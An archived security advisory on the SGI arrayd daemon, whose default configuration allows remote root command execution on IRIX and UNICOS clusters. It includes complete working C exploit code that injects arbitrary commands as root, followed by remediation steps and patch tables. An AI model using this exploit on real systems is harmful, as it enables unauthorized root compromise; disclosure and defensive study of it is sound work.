COMMAND
arrayd
SYSTEMS AFFECTED
6.2...6.5.4, UNICOS 9 and later
PROBLEM
Following is based on SGI Security Advisory. The SGI Array
Services provide a mechanism to simplify administering and
managing an array of clustered systems. The arrayd(1m) program
is part of the array_services(5) and is known as the array
services daemon. Unfortunately, the default security
configuration of arrayd from array.auth(4) does not provide
adequate protection against attack when the array of clustered
systems are placed on an untrusted network. For example, if the
systems are placed on the Internet without a firewall, there is a
possible root compromise of all clustered systems in the array
when the default array.auth configuration is used.
On IRIX, the SGI Array services consists of an inst image called
arraysvcs. The arraysvcs inst image is installed by default on
IRIX 6.4-6.5.4 from the IRIX Applications CD and available as an
optional product for IRIX 6.2-6.3. All sites using array services
on UNICOS 9.0 or later are vulnerable. Array services are not
supported on UNICOS/mk, so it is not vulnerable. The default
arrayd.auth configuration file has authentication disabled.
A local user account on the vulnerable array is not required in
order to exploit the arrayd daemon. The arrayd daemon can be
exploited remotely over an untrusted network. The arrayd
vulnerability can lead to a root compromise on an untrusted
network if the array services are running and the arrayd.auth
configuration file has not been changed to enable authentication.
Code by LSD.
/*## copyright LAST STAGE OF DELIRIUM aug 1999 poland *://lsd-pl.net/ #*/
/*## arrayd #*/
/* this code makes the same as the following command invoked with root user */
/* privileges: */
/* /usr/sbin/array -s address launch pvm xxx xxx xxx "\";command;exit\"" */
/* there are two possible authentication methods that can be used by */
/* the arrayd service: */
/* AUTHENTICATION NONE */
/* requests from anywhere are accepted */
/* AUTHENTICATION SIMPLE */
/* requests from trusted hosts are accepted if they match the host/key */
/* from arrayd.auth file. if there is not a specific host/key pair for */
/* a given machine the request is also accepted although it should not */
/* be (see manual pages in case you dont believe it). */
/* as you see, SGI suggestion to protect arrayd cluster by enabling */
/* simple authentication gives no result */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>
char msg1[]={
0x31,0x08,0x12,0x63,0x13,0x54,0x34,0x23,
0x00,0x00,0x00,0x00,0x12,0x34,0x56,0x78,
0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x03,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
char msg2[]={
0x00,0x00,0x00,0x02,0x10,0x00,0x28,0x00,
0x00,0x00,0x00,0x0f,
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00, /* array */
0x00,0x00,0x00,0x5c,0x12,0x34,0x56,0x78, /* args */
0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x38, /* creds */
/* creds */
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00, /* origin */
0x00,0x00,0x00,0x28,0x00,0x00,0x00,0x05, /* user */
0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x05, /* group */
0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00, /* project */
0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,
'r' ,'o' ,'o' ,'t' ,0x00,0x00,0x00,0x00,
'r' ,'o' ,'o' ,'t' ,0x00,0x00,0x00,0x00,
/* args */
0x00,0x00,0x00,0x06,
0x00,0x00,0x00,0x0c,0x00,0x00,0x00,0x30,
0x00,0x00,0x00,0x3c,0x00,0x00,0x00,0x07,
0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x04,
0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x04,
0x00,0x00,0x00,0x4c,0x00,0x00,0x00,0x04,
0x00,0x00,0x00,0x50,0x00,0x00,0x00,0x03,
0x00,0x00,0x00,0x54,0x12,0x34,0x56,0x78,
'l' ,'a' ,'u' ,'n' ,'c' ,'h' ,0x00,0x00,
'p' ,'v' ,'m' ,0x00,'x' ,'x' ,'x' ,0x00,
'x' ,'x' ,'x' ,0x00,'x' ,'x' ,'x' ,0x00,
};
main(int argc,char **argv){
char buffer[10000],len[4],*b,*cmd="id";
int i,c,sck;
struct sockaddr_in address;
struct hostent *hp;
printf("copyright LAST STAGE OF DELIRIUM aug 1999 poland //lsd-pl.net/\n");
printf("arrayd for irix 6.2 6.3 6.4 6.5 6.5.4 IP:all\n\n");
if(argc<2){
printf("usage: %s address [-c command]\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"c:"))!=-1){
switch(c){
case 'c': cmd=optarg;break;
}
}
sck=socket(AF_INET,SOCK_STREAM,0);
bzero(&address,sizeof(address));
address.sin_family=AF_INET;
address.sin_port=htons(5434);
if((address.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&address.sin_addr.s_addr,hp->h_addr,4);
}
if(connect(sck,(struct sockaddr *)&address,sizeof(address))<0){
perror("error");exit(-1);
}
memcpy(buffer,msg2,sizeof(msg2));
sprintf(&buffer[sizeof(msg2)],"\";%s;exit\"",cmd);
*(unsigned long*)len=htonl(sizeof(msg2)+strlen(cmd)+8+1);
b=&msg1[12];
for(i=0;i<4;i++) *b++=len[i];
write(sck,msg1,64);
write(sck,buffer,sizeof(msg2)+strlen(cmd)+8+1);
read(sck,buffer,64);
read(sck,buffer,sizeof(buffer));
b=&buffer[8];
if((*(unsigned long*)b)!=1){
printf("error: command refused\n");exit(-1);
}
b=&buffer[12];
if(((*(unsigned long*)b)!=1)&&((*(unsigned long*)b)!=2)){
printf("error: command not executed\n");exit(-1);
}
printf("OK!\n");
}
SOLUTION
The steps below can be used to either 1) remove the vulnerability
by removing the Array Services if they are not being used or 2)
enable authorization using a appropriately setup arrayd.auth(4)
configuration file. On IRIX:
1) Become the root user on the system.
2) Check to see if the system is running the SGI Array
Services.
3) Edit the default arrayd.auth file to enable authentication.
4) Comment out authentication entry in the arrayd.auth file.
This will enable SIMPLE authentication.
5) Configure SIMPLE authentication in the arrayd.auth file if
array services are needed on untrusted networks. See
arraysvcs release notes or arrayd.auth man page for more
information on configuring SIMPLE authentication.
6) Restart the arrayd daemon so that it will read the new
configuration files.
7) Return to previous level (if you made su).
On UNICOS:
1) Become the root user on the system.
2) Edit the default arrayd.auth file to enable authentication.
3) Replace AUTH NONE entry with AUTH SIMPLE in the arrayd.auth
file. This will enable SIMPLE authentication.
4) Configure SIMPLE authentication in the arrayd.auth file if
array services are needed on untrusted networks. See
arrayd.auth man page for more information on configuring
SIMPLE authentication.
5) Restart the arrayd daemon so that it will read the new
configuration files.
6) Return to previous level (if you made su).
Proper solution is patch. For IRIX:
OS Version Vulnerable? Patch # Other Actions
---------- ----------- ------- -------------
IRIX 3.x-5.X no Note 1
IRIX 6.0.x no Note 1
IRIX 6.1 no Note 1
IRIX 6.2 yes not avail Note 2 & 3
IRIX 6.3 yes not avail Note 1 & 3
IRIX 6.4 yes not avail Note 1 & 3
IRIX 6.5 yes not avail Note 3 & 4
IRIX 6.5.1 yes not avail Note 3 & 4
IRIX 6.5.2 yes not avail Note 3 & 4
IRIX 6.5.3 yes not avail Note 3 & 4
IRIX 6.5.4 yes not avail Note 3 & 4
1) This version of the IRIX operating system has retired.
Upgrade to currently supported IRIX operating system. See
http://support.sgi.com/news/irix2.html for more information
2) This version of the IRIX operating system is in maintenance
mode. See http://support.sgi.com/news/irix1.html for more
information.
3) Use temporary solution above
4) If you have not received an IRIX 6.5.X CD for IRIX 6.5,
contact your SGI Support Provider or download the IRIX
6.5.X Maintenance Release Stream from
http://support.sgi.com/ or
ftp://support.sgi.com/support/relstream/
For UNICOS
OS Versions Vulnerable? Other Actions
----------- ----------- -------------
UNICOS /mk No
UNICOS 9.0.X.X Yes Note 1
UNICOS 10.0 Yes Note 1
UNICOS 10.0.0.1 Yes Note 1
UNICOS 10.0.0.2 Yes Note 1
UNICOS 10.0.0.3 Yes Note 1
UNICOS 10.0.0.4 Yes Note 1
UNICOS 10.0.0.5 Yes Note 1
UNICOS 10.0.0.6 Yes Note 1
1) See temporary solution above.